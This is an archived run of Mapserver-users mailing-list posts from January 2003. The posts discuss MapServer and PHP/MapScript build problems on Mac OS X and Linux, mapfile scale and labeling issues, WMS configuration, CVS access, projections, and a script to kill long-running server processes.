<000201c2c086$28dda440$1a01a8c0@ivvaachen.de> I'm need a batch programm that kills all mapserver processes running longer than e.g. 300 seconds. How can I achieve this? Nicole From bon at ivv-aachen.de Mon Jan 20 05:16:35 2003 From: bon at ivv-aachen.de (=?iso-8859-1?Q?Nicole_B=F6meke?=) Date: Mon, 20 Jan 2003 14:16:35 +0100 Subject: [Mapserver-users] NT batch programm to kill old mapserver processes In-Reply-To: <000201c2be26$587f5610$1a01a8c0@ivvaachen.de> Message-ID: <000201c2c086$28dda440$1a01a8c0@ivvaachen.de> I'm need a batch programm that kills all mapserver processes running longer than e.g. 300 seconds. How can I achieve this? Nicole From Chip.Hankley at GASAI.Com Mon Jan 20 06:29:04 2003 From: Chip.Hankley at GASAI.Com (Hankley, Chip) Date: Mon, 20 Jan 2003 08:29:04 -0600 Subject: [Mapserver-users] NT batch programm to kill old mapserver pro cesses Message-ID: <3DFF131E4E6D2D4198CDD758F35A5353027852D5@postoffice.GASAI.Com> You would need to use KILL.exe (on the NT Resource Kit CD I believe) OR my favorite is PSKILL.exe from SYSINTERNALS... they have a whole suite of free NT/2000 management tools. I like PSKILL b/c it's a little bigger hammer. You'll have to look at the syntax of the commands... but my hunch is that you are going to capture the output to a text file and parse it to determine the number of seconds each process has been running. You should be able to do this in just about any language. Finally, once you have the script in place, you could use the scheduler utility to have the program run at a specified interval. Chip -----Original Message----- From: Nicole B?meke [mailto:bon at ivv-aachen.de] Sent: Monday, January 20, 2003 7:17 AM To: Mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] NT batch programm to kill old mapserver processes I'm need a batch programm that kills all mapserver processes running longer than e.g. 300 seconds. How can I achieve this? Nicole _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From pkishor at geoanalytics.com Mon Jan 20 07:13:02 2003 From: pkishor at geoanalytics.com (Puneet Kishor) Date: Mon, 20 Jan 2003 09:13:02 -0600 Subject: [Mapserver-users] RE: mapserver/PostGIS on Macos X Message-ID: Bill, Here is the state of my explorations -- I have always been able to build all the Mapserver versions I have tried (3.4 through 3.6.4) with Perl/Mapscript support. I have never been able to run PHP/Mapscript successfully. For the longest time the problem was with PHP on MacOS X -- dynamically loaded libraries were not possible. Now, with PHP 4.3.0 on, dls are possible, but I am unable to build PHP/Mapscript (see error messages below at the end of this message). I have never had any problem with MySQL and Perl:DBD:mysql, so I am a happy camper as far as that goes. I have had no problems with PgSQL itself, but have not built PostGIS. To others on this mailing list and using MacOS X -- if you are interested, I would propose our own mailing list (not really a hosted mailing list, but just a bunch of email addresses we can cc our emails to sharing our experiences with Mapserver on MacOS X). Eventually, I would like to see a binary build of Mapserver in the form of a double-clickable package. If interested, please drop me an email. Thanks. > -----Original Message----- > From: wheatonw at duke.edu [mailto:wheatonw at duke.edu] > Sent: Friday, January 17, 2003 12:08 PM > To: pkishor at geoanalytics.com > Subject: mapserver/PostGIS on Macos X > > > Puneet-- > > You may not remember, but we corresponded briefly early last > year about > building MapServer 3.5 on Macos X. I had version 3.4 working, but > couldn't get 3.5 working (images came out backwards). > > Anyway, I'm about to embark on an effort to build MapServer 3.6.x and > PostGIS on my ibook and I was wondering if you had tried to compile > these beasts on Macos 10.1.x or 10.2.x? I've been looking > every place > I can think of and can't find any information about > experiences trying > to get these two to work together under Macos x. Unless I can find > someone who says that it just won't work for some reason, I'm > going to > go ahead and give it a try. But I just thought I'd see if anyone had > tried it yet. > > Thanks in advance for any information. > > Bill > details: gcc 2.95 on OS X 10.2.3 with the latest devtools and Perl 5.6.0 PHP 4.3.0 built as CGI --with-xml --with-zlib --with-mysql --with-gd --with-png --with-jpeg --with-xml --enable-wddx --enable-dbase --with-regex=system Mapserver build log: -I/Users/pkishor/Projects/mapserver/php-4.3.0/TSRM -c -o mapscript_i.o mapscript_i.c /Users/pkishor/Projects/mapserver/mapserver-3.6.4/maptemplate.h:16: warning: `inchesPerUnit' defined but not used cc: -flat_namespace: linker input file unused since linking not done cc: -flat_namespace: linker input file unused since linking not done cc -o php_mapscript.so php_mapscript_util.o php_mapscript.o mapscript_i.o -L/Users/pkishor/Projects/mapserver/mapserver-3.6.4 -lmap -ljpeg -L/usr/local/lib -lpng -lz -L/Users/pkishor/Projects/mapserver/mapserver-3.6.4/../gd-1.8.4 -lgd -ljpeg -L/usr/local/lib -lpng -lz -ljpeg -lm /usr/bin/ld: Undefined symbols: _main __convert_to_string __efree __emalloc __estrdup __object_init_ex __zend_list_find __zval_copy_ctor _add_property_resource_ex _add_property_zval_ex _convert_to_double _convert_to_long _zend_error _zend_hash_find _zend_hash_get_current_data_ex _zend_hash_get_current_key_ex _zend_hash_internal_pointer_reset_ex _zend_hash_move_forward_ex __array_init __estrndup __object_init __zend_list_addref __zend_list_delete _add_assoc_string_ex _add_next_index_long _add_next_index_string _add_property_double_ex _add_property_long_ex _add_property_string_ex _php_header _php_printf _php_write _sapi_module _zend_get_parameters _zend_hash_index_find _zend_hash_num_elements _zend_list_insert _zend_register_internal_class _zend_register_list_destructors _zend_register_list_destructors_ex _zend_register_long_constant _zend_wrong_param_count make[1]: *** [php_mapscript.so] Error 1 From mcilhagga at dmsolutions.ca Mon Jan 20 07:20:00 2003 From: mcilhagga at dmsolutions.ca (Dave McIlhagga) Date: Mon, 20 Jan 2003 10:20:00 -0500 Subject: [Mapserver-users] Info on MapServer, MapLab and other technologies Message-ID: <3E2C13A0.6040908@dmsolutions.ca> Good morning, I'm writing to pass along some info that I thought might be of use to some of you to help keep track of recent and upcoming developments for the technologies we have been developing and supporting over the past few years. Mostly MapServer, Flash, OGR/GDAL, PHP/MapScript, MapLab, OGC compliance etc... 1. We recently have started putting together a Newsletter at DM Solutions which highlights a lot of recent development activity. This can be read at: http://www.dmsolutions.ca/news/news.html If you are interested in receiving this every 3 months, you can subscribe through our home page. 2. Over Christmas we completed an overhaul of our website which includes a lot of information about these technologies. See the "Technology and Services" section for specific info. http://www.dmsolutions.ca 3. You can see a lot of this technology in action through our "Applications Gallery" at: http://www.dmsolutions.ca/solutions/liveapps.html 4. As always, you can get more detailed technical info about everything through the webtools section at: http://www2.dmsolutions.ca/webtools/ Hope you find some of these resources useful. We're trying to provide as much information as possible to the community concerning the open source technologies that we're involved with. If anyone has any thoughts on other things they would find useful, please let us know as we're very open to suggestions. Looking forward to meeting many of you at the Mapserver User Meeting in June! Dave -- Dave McIlhagga DM Solutions Group http://www.dmsolutions.ca EMail : mcilhagga at dmsolutions.ca Phone : 613-565-5056 x15 Fax : 613-565-0925 From ycnyon at pd.jaring.my Mon Jan 20 20:58:20 2003 From: ycnyon at pd.jaring.my (YC Nyon) Date: Tue, 21 Jan 2003 12:58:20 +0800 Subject: [Mapserver-users] RE: Draw Circle via PHP/MS Message-ID: <012801c2c109$b93ec400$5340baca@gis> I'm trying to draw a circle using the code below. However it gave an error on the last line. I'm modify it from a snippet I found in the archieves. The map file contains a 'circle' layer. // DRAW CIRCLE $p=ms_newPointObj(); $circle=ms_newShapeObj(MS_SHAPE_LINE); $line=ms_newlineObj(); $clayer = $map->getLayerByName('Circle'); $class = $clayer->getClass(0); $pi=3.141592654; $radius = 10; for($i=0;$i<2.1*$pi;$i=$i+$pi/100) { $p->{x} = $real_geo_width + $radius * cos($i); $p->{y} = $real_geo_height + $radius * sin($i); $p->setXY(($real_geo_width + $radius * cos($i)),($real_geo_height + $radius * sin($i))); $line->add($p); } $circle->add($line); $circle->draw($map,$clayer,$image,0,""); Regards Nyon --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.443 / Virus Database: 248 - Release Date: 10/01/2003 From pkishor at geoanalytics.com Mon Jan 20 09:55:48 2003 From: pkishor at geoanalytics.com (pkishor_98 ) Date: Mon, 20 Jan 2003 17:55:48 -0000 Subject: [Mapserver-users] Re: Draw Circle via PHP/MS In-Reply-To: <012801c2c109$b93ec400$5340baca@gis> Message-ID: --- In mapserver-users at yahoogroups.com, "YC Nyon" wrote: > I'm trying to draw a circle using the code below. However it gave an error > on the last line. first, what is the error? it is always helpful for others to know what the error is. 2nd... you can simplify your code a little bit like so (if you so desire) -- //$p=ms_newPointObj(); // not needed $circle=ms_newShapeObj(2); $line=ms_newlineObj(); $clayer = $map->getLayerByName('Circle'); $class = $clayer->getClass(0); $pi = pi(); $radius = 10; $inc = 0; // assuming $x0 and $y0 are the origin of the circle in geog coords // and $r is the radius while ($inc <= 360) { // changed $x = $x0 + ($r * cos(($inc * $pi / 180))); $y = $y0 - ($r * cos(($inc * $pi / 180))); $line->addXY($x, $y); $inc += 10; } $clayer->set("status", 1); $circle->add($line); > I'm modify it from a snippet I found in the archieves. The map file contains > a 'circle' layer. > > // DRAW CIRCLE > $p=ms_newPointObj(); > $circle=ms_newShapeObj(MS_SHAPE_LINE); > $line=ms_newlineObj(); > $clayer = $map->getLayerByName('Circle'); > $class = $clayer->getClass(0); > > $pi=3.141592654; > $radius = 10; > for($i=0;$i<2.1*$pi;$i=$i+$pi/100) > { > $p->{x} = $real_geo_width + $radius * cos($i); > $p->{y} = $real_geo_height + $radius * sin($i); > $p->setXY(($real_geo_width + $radius * cos($i)),($real_geo_height > + $radius * sin($i))); > $line->add($p); > } > $circle->add($line); > $circle->draw($map,$clayer,$image,0,""); > > > Regards > Nyon From teb at mallit.fr.umn.edu Mon Jan 20 10:59:47 2003 From: teb at mallit.fr.umn.edu (Thomas E. Burk) Date: Mon, 20 Jan 2003 12:59:47 -0600 (CST) Subject: [Mapserver-users] msWMSDispatch(): General error message (fwd) Message-ID: <200301201859.h0KIxp125037@mallit.fr.umn.edu> Forwarded message: > From roland.forster at knuut.de Mon Jan 20 10:52:30 2003 > Message-ID: <008501c2c0a4$a542c060$1020a8c0 at rocky> > From: "Roland Forster" > To: > Subject: msWMSDispatch(): General error message > Date: Mon, 20 Jan 2003 17:54:48 +0100 > MIME-Version: 1.0 > Content-Type: text/plain; > charset="iso-8859-1" > Content-Transfer-Encoding: 7bit > X-Priority: 3 > X-MSMail-Priority: Normal > X-Mailer: Microsoft Outlook Express 6.00.2600.0000 > X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 > > Hello, > i compiled the mapserver with > ./configure --without-tiff --with-gd --enable-force-freetype2 \ > --with-proj --with-gdal --with-ogr --without-wms > > Calling mapserver i got the error message > msWMSDispatch(): General error message. WMS support is not available. > > The Mapfile doesn't call anything concerning wms. > Why do i get the message although i compile without wms-support?!! > > Thanks in advance, > Roland > > From zak-ms at aiya.dhs.org Mon Jan 20 11:20:48 2003 From: zak-ms at aiya.dhs.org (Zak James) Date: Mon, 20 Jan 2003 14:20:48 -0500 Subject: [Mapserver-users] RE: mapserver/PostGIS on Macos X In-Reply-To: Message-ID: <47BDAC79-2CAC-11D7-B29D-003065AB2508@aiya.dhs.org> I've been able to get php/mapscript running under OS X, even with 4.2.x PHP versions, by manually editing the php/mapscript makefile. When you configure mapserver and specify php support, the makefile (./mapscript/php3/Makefile) is not properly set up. To use a loadable module under OS X, it needs to be packaged as a Mach-O bundle. This differs from other unix systems and the configure script doesn't know about it. My Makefile includes the following: CC = gcc -fPIC LD = cc -bundle -flat_namespace -undefined suppress CFLAGS = -O2 -Wall -DCOMPILE_DL=1 -DPHP4 and compiles mapscript ok. A MacOS mailing list is a good idea since most mapserver users are probably not interested in these details. Count me in. This information should probably be updated on the wiki page (http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?MacOS) too. I think an OS X binary package is needed too, but I'm not sure which of the many mapserver options it should include. Zak James On Monday, January 20, 2003, at 10:13 am, Puneet Kishor wrote: > Bill, > > Here is the state of my explorations -- > > I have always been able to build all the Mapserver versions I have > tried > (3.4 through 3.6.4) with Perl/Mapscript support. > > I have never been able to run PHP/Mapscript successfully. For the > longest > time the problem was with PHP on MacOS X -- dynamically loaded > libraries > were not possible. Now, with PHP 4.3.0 on, dls are possible, but I am > unable > to build PHP/Mapscript (see error messages below at the end of this > message). > > I have never had any problem with MySQL and Perl:DBD:mysql, so I am a > happy > camper as far as that goes. > > I have had no problems with PgSQL itself, but have not built PostGIS. > > To others on this mailing list and using MacOS X -- if you are > interested, I > would propose our own mailing list (not really a hosted mailing list, > but > just a bunch of email addresses we can cc our emails to sharing our > experiences with Mapserver on MacOS X). Eventually, I would like to > see a > binary build of Mapserver in the form of a double-clickable package. If > interested, please drop me an email. From dschrupp at ix.netcom.com Mon Jan 20 11:12:45 2003 From: dschrupp at ix.netcom.com (Donald L. Schrupp) Date: Mon, 20 Jan 2003 12:12:45 -0700 Subject: [Mapserver-users] Compiling Insight Request - Mapserver 3.6.3 Message-ID: <3E2C4A2D.87271B19@ix.netcom.com> Dear MapServer List: I'm requesting some insight as to what I might need to change in my compiling steps to get Mapserver 3.6.3 to compile. Since I've gotten older versions running under older Linux setups (RH 7.2), I'm at a loss to know if my challenges are the new OS environment (Mandrake 9.0) or newer MapServer (3.6.3 files). My setup is Mandrake 9.0, (kernel 2.4.19-16mdk), with MySQL/PostgreSQL and Apache 1.3.27. PHP4 is configured with: ./configure --prefix=/usr/local/php4 --with-magic-quotes --enable-track-vars --enable-trans-id --enable-safe-mode --with-exec-dir=/usr/bin --with-system-regex -with-dbase --with-filepro --with-enable-yp --enable-ftp --with-gettext --with-mysql --with-pgsql --with-ttf --with-freetype=/usr/local/include/freetype --with-jpeg-dir=/usr/local/bin --with-png-dir=/usr/local/lib --with-zlib-dir=/usr/local/lib --with-gd=/usr/local/lib --with-xml --with=../apache --with-tiff=/usr/local/lib --with-config-file-path=/etc MapServer configuration set as: ./configure --with-gd=/usr/local/lib --with-config-file-path=/usr/lib --with-tiff=/usr/lib --with-jpeg=/usr/local/bin --with-zlib=/usr/local/lib --with-png=/usr/local/lib --with-freetype=/usr/local/include/freetype --with-eppl --with-proj=/usr/local/lib --with-wmsclient --with-system-regex --with-php=/usr/local/php4 Things crank along fine, till I get the message: ./libmap.a(mapogr.o)(.eh_frame+0x11): undefined reference to '__gxx_personality_v0' collect2: ld returned 1 exit status make: *** [shp2img] Error 1 A google search points to some references suggesting differences between gcc and g++ compilation, but I haven't been able to theorize what changes I might make to the Makefile or underlying code files (shp2img.c ?) to work beyond this. Any insights or work-arounds would be appreciated. Don From Antti.Roppola at brs.gov.au Thu Jan 16 17:17:24 2003 From: Antti.Roppola at brs.gov.au (Antti.Roppola at brs.gov.au) Date: Fri, 17 Jan 2003 12:17:24 +1100 Subject: [Mapserver-users] queryByShape works on layers but not map. Message-ID: <3E4215C93D3CE24D84A9FF385DF88D87144821@afeb-ms-02> Hello all, I am writing some queries using PHP/Mapscript 3.6.3 and am having problems getting queryByShape to work against a map object. When I try and call queryByShape against a map, it seems to hang the script at that point. Other queries against the map are fine, as are queryByShape calls against a single layer. Thoughts? Antti // The following queryByShape works... $myLayer = $map->getLayerByName("Marinas"); $myLayer->queryByShape($regionShape); // The following queryByShape doesn't work... $map->queryByShape($regionShape); // but using the shape's bounding box does work $map->queryByRect($regionShape->bounds); $regionShape->free(); QueryResults($map); From woodbri at swoodbridge.com Sat Jan 18 11:57:52 2003 From: woodbri at swoodbridge.com (woodbri at swoodbridge.com) Date: Sat, 18 Jan 2003 14:57:52 -0500 Subject: [Mapserver-users] MaxScale / MinScale Problem In-Reply-To: <1042917733.3e29a9657531b@progbits.com> Message-ID: <3E296B70.4135.133394D@localhost> Scott, Try changing your UNITS to DD then your MIN/MAXSCALE should work. -Steve On 18 Jan 2003 at 13:22, Scott Carr wrote: > I have a residential and a business layer that lists a whole lot of > people numbers and such. I would like these layers to only show up > when I get down to a certain extent. > > Anytime I put numbers in the MaxScale / MinScale, the layers are not > displayed at all. I have put numbers of varying ranges in, but no > luck. > > Any ideas? > > My Map File as it stands now: > > map > extent -104.187846 39.864694 -103.411784 40.610718 > fontset "symbols/fontset.fon" > imagecolor 255 255 255 > name "Caldwell County" > shapepath "data" > size 530 430 > status on > symbolset "symbols/all.sym" > transparent on > units feet > # 1 scalebar #none > scalebar > backgroundcolor 123 123 123 > color 255 0 0 > imagecolor 0 0 255 > intervals 4 > outlinecolor 0 0 0 > size 200 7 > status on > style 0 > transparent true > units feet > # 1 label #none > label > backgroundcolor 0 0 0 > color 255 255 0 > size tiny > end > end > # 2 layer Cities > layer > classitem "ID" > data "Cities" > group "Cities" > labelcache on > name "Cities" > status on > type polygon > # 1 class Cities_1 > class > backgroundcolor 128 128 128 > color 0 128 255 > name "Cities_1" > outlinecolor 0 0 0 > end > end > # 3 layer County > layer > classitem "ID" > data "County" > group "County" > labelcache on > name "County" > status on > type polygon > # 1 class County_1 > class > backgroundcolor 128 128 128 > color 128 255 128 > name "County_1" > outlinecolor 0 0 0 > end > end > # 4 layer Geocode > layer > classitem "ID" > data "Geocode" > group "Geocode" > labelcache on > name "Geocode" > status on > type line > # 1 class Geocode_1 > class > backgroundcolor 128 128 128 > color 128 128 128 > name "Geocode_1" > outlinecolor 0 0 0 > end > end > # 5 layer Lakes > layer > classitem "ID" > data "Lakes" > group "Lakes" > labelcache on > name "Lakes" > status on > type polygon > # 1 class Lakes_1 > class > backgroundcolor 128 128 128 > color 0 128 255 > name "Lakes_1" > outlinecolor 0 0 0 > end > end > # 6 layer Landmarks > layer > classitem "ID" > data "Landmarks" > group "Landmarks" > labelcache on > name "Landmarks" > status on > type polygon > # 1 class Landmarks_1 > class > backgroundcolor 128 128 128 > color 255 128 0 > name "Landmarks_1" > outlinecolor 0 0 0 > end > end > # 7 layer Majorroads > layer > classitem "FRC" > data "Majorroads" > group "Majorroads" > labelcache on > name "Majorroads" > status on > type line > # 1 class Majorroads_1 > class > backgroundcolor 128 128 128 > color 0 0 0 > name "Majorroads_1" > outlinecolor 0 0 0 > size 2 > end > end > # 8 layer medical > layer > classitem "ABINUMBER" > data "medical" > footer "medical_footer.html" > group "medical" > header "medical_header.html" > labelcache on > name "medical" > status on > type point > # 1 class medical_1 > class > backgroundcolor 128 128 128 > color 255 255 0 > name "medical_1" > outlinecolor 0 0 0 > end > end > # 9 layer Railroads > layer > classitem "ID" > data "Railroads" > group "Railroads" > labelcache on > name "Railroads" > status on > type line > # 1 class Railroads_1 > class > backgroundcolor 128 128 128 > color 0 0 0 > name "Railroads_1" > outlinecolor 0 0 0 > end > end > # 10 layer residential > layer > classitem "NAME" > data "residential" > group "residential" > labelcache on > maxscale 20000 > minscale 100 > name "residential" > status on > symbolscale 1 > type point > # 1 class residential_1 > class > backgroundcolor 255 255 255 > color 255 128 0 > maxsize 10 > minsize 2 > name "residential_1" > outlinecolor 0 0 0 > size 1 > symbol "house" > end > end > # 11 layer business > layer > classitem "NAME" > data "business" > footer "business_footer.html" > group "business" > header "business_header.html" > name "business" > status on > MAXSCALE 5000 > MINSCALE 100 > symbolscale 1 > type point > # 1 class business_1 > class > backgroundcolor 128 128 128 > color 255 0 0 > maxsize 10 > minsize 2 > name "business_1" > outlinecolor 0 0 0 > size 1 > symbol "circle" > end > end > # 12 layer Rivers > layer > classitem "ID" > data "Rivers" > group "Rivers" > labelcache on > name "Rivers" > status on > type line > # 1 class Rivers_1 > class > backgroundcolor 128 128 128 > color 0 128 255 > name "Rivers_1" > outlinecolor 0 0 0 > end > end > # 13 web 1222.html > web > footer "1222_footer.html" > header "1222_header.html" > imagepath "e:\Program Files\Apache Group\Apache\htdocs\tmp\" > imageurl "/tmp/" > template "1222.html" > end > # 14 querymap hilite > querymap > color 255 0 0 > size 530 430 > status on > style hilite > end > # 15 reference graphics/reference.gif > reference > color -1 -1 -1 > extent -104.187846 39.864694 -103.411784 40.610718 > image "graphics/reference.gif" > outlinecolor 255 0 0 > size 120 120 > status on > end > # 16 legend #none > legend > keysize 18 12 > status on > # 1 label #none > label > color 0 0 89 > size medium > type bitmap > end > end > end > > > -- > Scott Carr > Documentation Maintainer > http://documentation.openoffice.org > OpenOffice.org > > > > > > ------------------------------------------------- > This mail sent through IMP: http://horde.org/imp/ > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From aspinformatica at terra.com.br Sat Jan 18 14:12:38 2003 From: aspinformatica at terra.com.br (=?ISO-8859-1?Q?Andr=E9_de_Souza_Pinto?=) Date: Sat, 18 Jan 2003 20:12:38 -0200 Subject: [Mapserver-users] True Type Fonts problem Message-ID: <3E29D156.4070001@terra.com.br> Hi! My name is Andr? de Souza Pinto, I am studing a project to canoas?s city hall to put in the internet all the streets. If you whish take a look you can access in http://aspinformatica.no-ip.org:8080/cgi-bin/mapserv?mode=browse&layer=Ruas&layer=Textos&zoomdir=0&zoomsize=2&imgxy=299.5+299.5&imgext=-15000.000000+-5505.000000+2000.000000+11505.000000&map=%2Fvar%2Fwww%2Fdefault%2Fcanoas%2Fmapa.map&savequery=true&program=%2Fcgi-bin%2Fmapserv&map_web_imagepath=%2Fvar%2Fwww%2Ftmp%2F&map_web_imageurl=%2Ftmp%2F Click in Canoas. Resume The label texts (ANNOTATION) are not scalabel when the labelsizeitem is informad. The server process is very slow because i using the HP Netserver 5/100 with 92MB of RAM. I?m sorry my very bad English. sincerely, Andr? de Souza Pinto ASP Informatica Rua Moreira Cesar, 2028/11 - Bairro Pio X 95034-000 - Caxias do Sul / RS / Brazil mailto://andre at aspinformatica.no-ip.org mailto://aspinformatica at terra.com.br From forster at entera.de Mon Jan 20 09:00:56 2003 From: forster at entera.de (Roland Forster, entera) Date: Mon, 20 Jan 2003 18:00:56 +0100 Subject: [Mapserver-users] msWMSDispatch(): General error message Message-ID: <00ab01c2c0a5$7fefbd30$1020a8c0@rocky> Hello, i compiled the mapserver with ./configure --without-tiff --with-gd --enable-force-freetype2 \ --with-proj --with-gdal --with-ogr --without-wms Calling mapserver i got the error message msWMSDispatch(): General error message. WMS support is not available. The Mapfile doesn't call anything concerning wms. Why do i get the message although i compile without wms-support?!! Thanks in advance, Roland From bart at geodan.nl Mon Jan 20 11:17:37 2003 From: bart at geodan.nl (Bart van den Eijnden) Date: Mon, 20 Jan 2003 20:17:37 +0100 Subject: [Mapserver-users] CVS Access In-Reply-To: <012801c2c109$b93ec400$5340baca@gis> Message-ID: Hi, I'm trying to access mapserver through CVS using wincvs 1.3.8.1 But I get the following error: cvs -d :pserver:cvs at mapserver.gis.umn.edu:/data2/cvsroot init cvs [server aborted]: "init" requires write access to the repository Does anybody have an idea how to solve this? Thanks, Bart The Netherlands From bart.van.den.eijnden at geodan.nl Mon Jan 20 11:28:48 2003 From: bart.van.den.eijnden at geodan.nl (Bart van den Eijnden) Date: Mon, 20 Jan 2003 20:28:48 +0100 Subject: [Mapserver-users] CVS Access Message-ID: Hi, I'm trying to access mapserver through CVS using wincvs 1.3.8.1 But I get the following error: cvs -d :pserver:cvs at mapserver.gis.umn.edu:/data2/cvsroot init cvs [server aborted]: "init" requires write access to the repository Does anybody have an idea how to solve this? Thanks, Bart The Netherlands From millardymecki at sympatico.ca Mon Jan 20 12:22:28 2003 From: millardymecki at sympatico.ca (Paul Dymecki) Date: Mon, 20 Jan 2003 15:22:28 -0500 Subject: [Mapserver-users] Projection accuracy problems Message-ID: <003c01c2c0c1$a7a7fa60$f098fea9@pauls> Hi there, I was wondering if anyone knows about projection differences between proj4 and geotrans. I've tried both but am cannot get the same accuracy with proj4 as with geotrans. Here is the proj4 code i'm using in mapscript. Any help would be much appreciated, Paul Code for converting lat/long -> lcc $lat = 64.16; $lon = -95.50; $parms1[0] = "proj=longlat"; $parms1[1] = "ellps=GRS80"; $parms1[2] = "datum=NAD83"; $parms1[3] = "no_defs"; $projLonLat = pj_init($parms1); $parms2[0] = "proj=lcc"; $parms2[1] = "ellps=GRS80"; $parms2[2] = "datum=NAD83"; $parms2[3] = "lat_0= 49.0"; $parms2[4] = "lon_0= -95.0"; $parms2[5] = "lat_1= 49.0"; $parms2[6] = "lat_2= 77.0"; $parms2[7] = "units=m"; $projLCC = pj_init($parms2); $ret = pj_transform($projLonLat, $projLCC, $lon, $lat,0 ); $ln = ($ret["u"]); $lt = ($ret["v"]); echo "
".$ln."
".$lt; From roland.forster at knuut.de Mon Jan 20 12:27:20 2003 From: roland.forster at knuut.de (Roland Forster) Date: Mon, 20 Jan 2003 21:27:20 +0100 Subject: [Mapserver-users] msWMSDispatch(): General error message Message-ID: <013f01c2c0c2$557e6390$1020a8c0@rocky> now i configured mapserver with wms-support. the following was sent by running the procedure " ... checking whether we should include WMS support... OGC WMS compatibility enabled (-DUSE_WMS). checking whether we should include WMS Client Connections support... checking for libwww-config... (cached) /usr/local/bin/libwww-config found libwww version 5.4.0 OGC WMS Client Connections enabled (-DUSE_WMS_LYR). ..." Although i get the message "msWMSDispatch(): General error message. WMS support is not available." while running the itasca demo. Does anyone has an idea? regards, Roland From jeffb at erlandsen.com Mon Jan 20 15:04:42 2003 From: jeffb at erlandsen.com (Jeff Berry) Date: Mon, 20 Jan 2003 15:04:42 -0800 Subject: [Mapserver-users] Labeling Inconsistent Message-ID: I have labels defined for a city boundaries layer. However, when I first open the map, only a 2 out of the 5 cities get labeled. If I do a refresh, (not changing extent or anything...just a refresh), then I see 4 out of the 5 labels. If I zoom into a city, sometimes it draws the label and other times it doesn't. I have FORCE turned on. I even tried setting MINFEATURESIZE to 0. Nothing makes a difference. Any suggestions about why this happens? Jeff Berry Erlandsen & Associates P.O. Box 2029 Chelan, WA 98816 (509) 682-4189 jeffb at erlandsen.com From jeffb at erlandsen.com Mon Jan 20 15:10:57 2003 From: jeffb at erlandsen.com (Jeff Berry) Date: Mon, 20 Jan 2003 15:10:57 -0800 Subject: [Mapserver-users] Odd Error Message-ID: I have a lakes polygon layer that draws just fine at large scales. However, if I zoom out to the entire extent of the dataset I get the following error: Warning: MapServer Error in msDrawShape(): Only polygon shapes can be drawn using a POLYGON layer definition. This happens with a couple other polygon layers as well, when I zoom out to a point where a lot of polygon features are displayed in the current extent. What is causing this? Jeff Berry Erlandsen & Associates P.O. Box 2029 Chelan, WA 98816 (509) 682-4189 jeffb at erlandsen.com From Antti.Roppola at brs.gov.au Mon Jan 20 15:31:17 2003 From: Antti.Roppola at brs.gov.au (Antti.Roppola at brs.gov.au) Date: Tue, 21 Jan 2003 10:31:17 +1100 Subject: [Mapserver-users] Compiling Insight Request - Mapserver 3.6.3 Message-ID: <3E4215C93D3CE24D84A9FF385DF88D87144836@afeb-ms-02> According to the Mandrake website, Mandrake 9 appears to ship with GCC 3.2. Maybe try with GCC 2.95.x since I suspect most apps are still being compiled with it. Antti Donald wrote: > 7.2), I'm at a loss to know if my challenges are > the new OS environment (Mandrake 9.0) or newer > MapServer (3.6.3 files). >Things crank along fine, till I get the message: > >../libmap.a(mapogr.o)(.eh_frame+0x11): undefined reference to >'__gxx_personality_v0' >collect2: ld returned 1 exit status >make: *** [shp2img] Error 1 >A google search points to some references suggesting differences >between gcc and g++ compilation, but I haven't been able to From jeffb at erlandsen.com Mon Jan 20 16:25:58 2003 From: jeffb at erlandsen.com (Jeff Berry) Date: Mon, 20 Jan 2003 16:25:58 -0800 Subject: [Mapserver-users] Map prints as all black Message-ID: I'm having trouble trying to print output from mapserver. I can successfully print from 5 different computers in our office using Explorer, but a sixth computer prints the map out as all black. What should I be looking for to fix this? Jeff Berry Erlandsen & Associates P.O. Box 2029 Chelan, WA 98816 (509) 682-4189 jeffb at erlandsen.com From morissette at dmsolutions.ca Mon Jan 20 17:05:05 2003 From: morissette at dmsolutions.ca (Daniel Morissette) Date: Mon, 20 Jan 2003 20:05:05 -0500 Subject: [Mapserver-users] Re: PHP 4.3.0 References: Message-ID: <3E2C9CC1.FF644D49@dmsolutions.ca> Configure detected 'cc' as the linker, that's why you get this. Try adding --enable-internal-ld-detect to your configure parameters, this uses a new macro to figure the LD comand that has been made the default in MapServer 3.7. That should work, but if it doesn't then edit mapserver/mapscript/php3/Makefile to set the value of LD to one of LD = ld -G or LD = gcc -shared Daniel "pkishor_98 " wrote: > > Hi Daniel, > > Thanks for replying. Now that I know it works, here are the gory > details -- gcc 2.95 on OS X 10.2.3, PHP 4.3.0 built as CGI "--with-xml > --with-zlib --with-mysql --with-gd --with-png --with-jpeg --with-xml > --enable-wddx --enable-dbase --with-regex=system" and working fine. > Any idea why I am getting the following errors (reproducing only the > last bit) during make-ing Mapserver -- > > -I/Users/pkishor/Projects/mapserver/php-4.3.0/TSRM -c -o > mapscript_i.o mapscript_i.c > /Users/pkishor/Projects/mapserver/mapserver-3.6.4/maptemplate.h:16: > warning: `inchesPerUnit' defined but not used > cc: -flat_namespace: linker input file unused since linking not done > cc: -flat_namespace: linker input file unused since linking not done > cc -o php_mapscript.so php_mapscript_util.o php_mapscript.o > mapscript_i.o -L/Users/pkishor/Projects/mapserver/mapserver-3.6.4 > -lmap -ljpeg -L/usr/local/lib -lpng -lz > -L/Users/pkishor/Projects/mapserver/mapserver-3.6.4/../gd-1.8.4 -lgd > -ljpeg -L/usr/local/lib -lpng -lz -ljpeg -lm > /usr/bin/ld: Undefined symbols: > _main > __convert_to_string > __efree > __emalloc > __estrdup > __object_init_ex > __zend_list_find > __zval_copy_ctor > _add_property_resource_ex > _add_property_zval_ex > _convert_to_double > _convert_to_long > _zend_error > _zend_hash_find > _zend_hash_get_current_data_ex > _zend_hash_get_current_key_ex > _zend_hash_internal_pointer_reset_ex > _zend_hash_move_forward_ex > __array_init > __estrndup > __object_init > __zend_list_addref > __zend_list_delete > _add_assoc_string_ex > _add_next_index_long > _add_next_index_string > _add_property_double_ex > _add_property_long_ex > _add_property_string_ex > _php_header > _php_printf > _php_write > _sapi_module > _zend_get_parameters > _zend_hash_index_find > _zend_hash_num_elements > _zend_list_insert > _zend_register_internal_class > _zend_register_list_destructors > _zend_register_list_destructors_ex > 